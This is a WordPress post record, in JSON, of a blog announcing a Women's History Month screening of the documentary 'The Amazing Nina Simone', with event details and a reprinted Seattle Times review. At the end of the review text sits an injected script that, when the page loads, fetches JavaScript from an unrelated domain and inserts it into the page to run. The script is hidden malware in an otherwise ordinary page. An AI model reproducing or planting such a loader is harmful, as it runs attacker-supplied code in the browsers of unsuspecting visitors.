{"id":1456,"date":"2016-02-04T15:42:45","date_gmt":"2016-02-04T21:42:45","guid":{"rendered":"http:\/\/blackworldcinema.net\/blog\/?p=1456"},"modified":"2025-06-03T00:30:59","modified_gmt":"2025-06-03T05:30:59","slug":"1456","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2016\/02\/04\/1456\/","title":{"rendered":"Women&#8217;s History Month: Come Celebrate &#8220;The Amazing Nina Simone&#8221;"},"content":{"rendered":"<p><a href=\"http:\/\/blackworldcinema.net\/blog\/2016\/02\/04\/1456\/bwcmonthbanner_ninaamazing\/\" rel=\"attachment wp-att-1457\"><img fetchpriority=\"high\" decoding=\"async\" width=\"739\" height=\"318\" class=\"aligncenter size-full wp-image-1457\" src=\"http:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/02\/BWCmonthBanner_NinaAmazing.jpg\" alt=\"BWCmonthBanner_NinaAmazing\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/02\/BWCmonthBanner_NinaAmazing.jpg 739w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/02\/BWCmonthBanner_NinaAmazing-300x129.jpg 300w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/02\/BWCmonthBanner_NinaAmazing-600x258.jpg 600w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/02\/BWCmonthBanner_NinaAmazing-720x310.jpg 720w\" sizes=\"(max-width: 739px) 100vw, 739px\" \/><\/a><\/p>\n<p>Thurs, March 3, 7pm, Adm $6.00<br \/>\nSMG Chatham 14<br \/>\n210 W 87th St<br \/>\nFree Parking.<\/p>\n<div style=\"width: 100%; text-align: left;\">\n<p><iframe src=\"\/\/eventbrite.com\/tickets-external?eid=21967105203&amp;ref=etckt\" width=\"100%\" height=\"214\" frameborder=\"0\" marginwidth=\"5\" marginheight=\"5\" scrolling=\"auto\"><\/iframe><\/p>\n<div style=\"font-family: Helvetica, Arial; font-size: 10px; padding: 2px 0 2px; margin: 2px; width: 100%; text-align: left;\"><a class=\"powered-by-eb\" style=\"color: #dddddd; text-decoration: none;\" href=\"http:\/\/www.eventbrite.com\/r\/etckt\" target=\"_blank\">Powered by Eventbrite<\/a><\/div>\n<\/div>\n<p>The Amazing Nina Simone<br \/>\n2015, USA 101 Minutes<br \/>\ndirected by Jeff Lieberman<\/p>\n<p>Join us to watch this amazing documentary, and discuss the life and legacy of Madam Nina Simone.<\/p>\n<p>By Paul de Barros<br \/>\nSeattle Times music critic<br \/>\nAfter Trayvon Martin was fatally shot three years ago in Sanford, Fla., a song from the civil-rights era, \u201cMississippi Goddam,\u201d erupted on the airwaves. For many youngsters, it was probably the first time they had ever heard the fierce, regal, husky alto of Nina Simone (1933-2003), but it will likely not be the last.<\/p>\n<p>Since then, interest in Simone has grown, with two full-length documentary films appearing this year. \u201cThe Amazing Nina Simone,\u201d directed by Jeff L. Lieberman (at Sundance Cinemas), is the best researched and most comprehensive, though \u201cWhat Happened, Miss Simone?\u201d (streaming on Netflix) has more emotional juice and moves more briskly. That said, \u201cThe Amazing Nina Simone\u201d tells its exhilarating but ultimately tragic story well, with captivating archival footage and insightful interviews, especially those with cultural historian Ruth Feldstein.<\/p>\n<p>Born Eunice Waymon in North Carolina, Simone was a poor but pampered child prodigy who aimed to become America\u2019s first black female classical concert pianist, but her dream was crushed in 1951 when Philadelphia\u2019s Curtis Institute rejected her. She was always convinced that Curtis refused her because she was black. Lieberman, who has a journalism background, doesn\u2019t discount that theory, but also reveals that Simone was one of 72 applicants for three openings.<\/p>\n<p>Classical aspirations dashed, Simone turned to nightclubs, as had her youthful inspiration, Hazel Scott, crafting a unique mix of classical piano, folk songs, spirituals, blues, jazz and pop \u2014 a kind of black female counterpart to Johnny Cash. Despite her cross-genre originality, she caught on, hitting big in 1958 with \u201cI Loves You Porgy\u201d and becoming a bona fide cabaret star.<\/p>\n<p>In 1963, influenced by playwright Lorraine Hansberry and poet Langston Hughes \u2014 and tumultuous times \u2014 Simone became deeply militant, writing \u201cMississippi Goddam\u201d in response to the murder of four black schoolchildren in a Birmingham, Ala., church bombing. Often wearing African attire and marketed as the \u201cHigh Priestess of Soul,\u201d Simone recorded songs such as \u201cDon\u2019t Let Me Be Misunderstood\u201d (covered famously by The Animals), \u201cBacklash Blues\u201d (by Hughes) and \u201cTo Be Young, Gifted and Black\u201d (by Hansberry), minting an assertive, politically aware and sexually confident African-American female persona that updated Bessie Smith for a new era.<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Thurs, March 3, 7pm, Adm $6.00 SMG Chatham 14 210 W 87th St Free Parking. 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